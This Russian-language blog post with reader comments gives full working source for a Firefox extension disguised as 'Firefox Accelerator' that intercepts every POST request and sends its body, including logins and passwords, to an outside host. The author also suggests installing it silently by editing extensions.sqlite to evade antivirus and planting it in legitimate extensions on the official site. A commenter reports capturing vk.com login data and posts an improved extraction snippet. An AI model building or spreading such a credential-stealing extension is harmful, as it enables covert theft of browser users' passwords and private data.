Mozilla Firefox, как и прочие современные браузеры, поддерживает возможность наращивания функционала с помощью расширений. Множество полезных и не очень расширений доступно на официальном и прочих сайтах, причем многие их ставят, не задумываясь о возможных закладках в них. В качестве примера можно вспомнить не более чем годичной давности случай с расширением, которое добавляло возможность кастомизации личной странички в ВКонтакте, но при этом активно себя рекламировало, рассылая сообщения по друзьям, используя браузер установившего.
Поэтому, а заодно в связи с появившейся свободной минуткой я решил набросать пример простого расширения для Firefox, которое будет перехватывать POST-запросы и отправлять их содержимое на сторонний сайт. Основы процесса подробно описаны, например, здесь и здесь, поэтому часть кода будет приведена без комментариев.
Так как плагин обладает небольшими функциональными возможностями, то из всех типичных для расширения файлов (о которых вы могли прочесть по ссылкам выше) будут использоваться лишь несколько - это chrome.manifest, install.rdf, browser.xul и файл, который содержит непосредственно код расширения. В итоге у вас должна получиться следующая структура:
1 2 3 4 5 6 7 8 |
:plugin_dir │ chrome.manifest │ install.rdf │ └───chrome └───content accelerator.js browser.xul |
Начнем с файла chrome.manifest:
1 2 3 |
content accelerator chrome/content/ content accelerator chrome/content/ contentaccessible=yes overlay chrome://browser/content/browser.xul chrome://accelerator/content/browser.xul |
Ничего интересного он не содержит, мы как бы указываем путь относительно директории с расширением (плагином), где хранится основной исполняемый файл для него. Флаг contentaccessible задает возможность использования некоторых HTML-элементов вроде img и script из недоверенных источников, подробнее можно прочитать тут. Строка с overlay используется для подгрузки JS-кода расширения в контексте браузера, хотя по большому счету оверлеи необходимы для изменения пользовательского интерфейса (добавления кнопочек, меню и подобной лабуды).
XUL файл представляет из себя обычный XML-файл, подчиняющийся определенным правилам. Подробнее можно почитать на сайте MDN. В нашем случае browser.xul прост до невозможности:
1 2 3 4 |
<?xml version="1.0"?> <overlay id="accelerator" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="accelerator.js" /> </overlay> |
Теперь рассмотрим файл install.rdf, который тоже является XML-файлом, описывающим устанавливаемое расширение, информацию об авторе, диапазон совместимых версий браузера, версию плагина и тому подобное:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <Description about="urn:mozilla:install-manifest"> <em:name>Firefox Accelerator</em:name> <em:version>1.0</em:version> <em:type>2</em:type> <em:creator>Oh noes LTD</em:creator> <em:description></em:description> <em:homepageURL>http://www.google.com/</em:homepageURL> <em:targetApplication> <Description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minVersion>2.0</em:minVersion> <em:maxVersion>16.0.*</em:maxVersion> </Description> </em:targetApplication> </Description> </RDF> |
Тут использован довольно скудный набор возможных атрибутов (полный), но нам много и не надо. Параметр id в секции Description является обыкновенным GUID, его можно сгенерировать как самому, практически от балды, так и с помощью всяких утилит и сайтов.
И, наконец, рассмотрим код самого плагина:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
// Адрес хоста для отправки отчетов var log_host = "kaimi.io"; // Путь к скрипту - приемщику var log_uri = "/test.php"; // Максимальный размер POST-данных для отправки var log_req_limit = 1024; var accelerator = { // Функция для установки обработчика на событие http-on-modify-request // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications add_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.addObserver(this, "http-on-modify-request", false); }, // Функция для снятия обработчика на событие http-on-modify-request // Не вызывается, но пусть будет remove_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.removeObserver(this, "http-on-modify-request"); }, // Функция, которая вызывается при возникновении интересующего нас события observe : function(subject, topic, data) { var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel); // Проверяем тип события if(topic == "http-on-modify-request") { // Исключаем из фильтрации URL хоста для приема отчетов var uri = subject.URI.spec; if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri)) { // Если не проводить некоторых манипуляций с исходящим запросом, то он перешлется автоматически return; } // Обрабатываем только POST-запросы if(http_channel.requestMethod == "POST") { // Извлекаем объект, в котором хранится запрос var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel); var upload_channel_stream = upload_channel.uploadStream; upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream); stream.setInputStream(upload_channel_stream); // Получаем содержимое POST-запроса в виде строки var post_bytes = stream.readByteArray(stream.available()); var post_data = String.fromCharCode.apply(null, post_bytes); // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого var tmp = post_data.split("\r\n\r\n"); if(tmp[1] && tmp[1].length <= log_req_limit) { this.send_post_data(uri, tmp[1]); } // Устанавливаем смещение в потоке на начало upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); } } }, // Вспомогательная функция для отправки POST-запроса на хост send_post_data : function(uri, data) { // Кодируем данные для безопасной передачи var enc_data = escape(this.base64_encode(data)); var enc_uri = escape(this.base64_encode(uri)); // XMLHttpRequest, вызванный из расширения, не обладает стандартными ограничениями // таким образом обратиться можно к любому хосту var req = new XMLHttpRequest(); req.open("POST", "http://" + log_host + log_uri, true); req.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req.send("uri=" + enc_uri + "&info=" + enc_data); }, // Неведомая фигня, которая была взята из tamper data QueryInterface : function(iid) { if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver)) { return this; } throw Components.results.NS_NOINTERFACE; }, // Вспомогательный метод для кодирования данных в Base64 base64_encode : function(data) { var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = "", tmp_arr = []; if(!data) { return data; } do { o1 = data.charCodeAt(i++); o2 = data.charCodeAt(i++); o3 = data.charCodeAt(i++); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < data.length); enc = tmp_arr.join(''); var r = data.length % 3; return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3); } }; // Вызываем метод, который установит обработчик на интересующее нас событие accelerator.add_observer(); |
Сделать из набора файлов и директорий расширение можно очень просто, достаточно заархивировать содержимое в ZIP и переименовать из .zip в .xpi. Или вот такой незамысловатой командой, находясь в директории с файлами расширения (при условии наличия консольного zip'a):
1 |
zip -r extension.xpi ./* |
В чем же цимес подобного расширения? А в том, что оно обладает практически неограниченным доступом к компьютеру пользователя, и если в моем примере ведется примитивный перехват POST-запросов, то теоретически расширение может включать в себя все что угодно, даже нативный код. В то же время антивирусные системы практически не контролируют операции с директорией %APPDATA%, где Firefox хранит пользовательские настройки и расширения, что позволяет в тихую добавить его в браузер (например, отредактировав файл extensions.sqlite) и получить хороший такой, неконтролируемый доступ в сеть.
Топорно? Зато эффективно. Тем более такую закладку можно добавить в действительно полезное расширение или в какое-нибудь существующее, а далее попытаться распространять его через официальный сайт. Простор для творчества очень широк, как и целевая аудитория.
В общем изучайте, исследуйте, и на вас снизойдет дзен, а ещё вы научитесь танцевать как dx.
Все файлы одним архивом: скачать
Редактирование extensions.sqlite обходит защиту от установки расширений? Не появляется запрос на его разрешение при запуске firefox? Его в 11-ой или 12-ой версии внедрили.
Может, и появляется. Попробуй, не занимались такими проверками.
Спасибо за статью.
Получается, ядро Firefox частично или полностью написано на js и выполняется интерпретатором js кода? Это разве хороший выбор в плане быстродействия? Хотя сам браузер работает довольно быстро.
В фаерфоксе все плагины так или иначе используют JS, многие не используют ничего кроме JS. А еще в фаерфоксе весь пользовательский интерфейс написан на JS. Это сказывается на производительности, но заметно, например, только под андроидом.
Спасибо, напугали. :)
Было бы неплохо получить краткий комментарий о строгости премодерации расширений на сайте Mozilla. Насколько тщательно они ищут подобный код. Насколько я помню, все расширения, которые были замечены в использовании вредоносного кода не проходили проверку Mozilla.
P.S. dx классно танцует :)
пока dx танцует, kaimi рубит ашоты http://www.youtube.com/watch?v=ZH5F2gsnJ4I
Каими, спасибо за пример, очень интересная тема. Только что проигрался 2.5 часа с ней, идей немерено появилось, + скилл прокачал. В общем респект тебе.
Но мне кажется в коде есть ошибка:
var tmp = post_data.split("\r\n\r\n");
if(tmp[1] && tmp[1].length <= log_req_limit)
{
this.send_post_data(uri, tmp[1]);
}
Проверяя tmp[1] ты возьмешь только первый параметр, а все остальные будут отброшены. Я бы сделал так:
var body = post_data.substr( post_data.indexOf("\r\n\r\n")+4, post_data.length );
if( body.length <= log_req_limit )
this.send_post_data(uri, body);
То есть отбросим хедер ( первое вхождение "\r\n\r\n" ), а дальше скопируем все, что осталось, то есть тело. Проверял на vk.com - достаточно просто ввести рандомные логин, пароль и нажать "Вход". С твоим вариантом кода приходит только 1-й параметр.
В случае с контактом всё нормально как раз. Скорее уж при мультипарт запросе сплит не стоило бы использовать.
Ога, смотрю сейчас исходники тампер даты, там они как раз момент с мультипартом проверяют:
// if we get a tricky content type, then we are binary
// e.g. Content-Type=multipart/form-data; boundary=---------------------------41184676334
if (!this.isBinary && tmp[1].toLowerCase() == "content-type" && tmp[2].indexOf("multipart") != "-1")
{
this.isBinary = true;
}
В любом случае, ты проделал отличную работу, еще раз спс.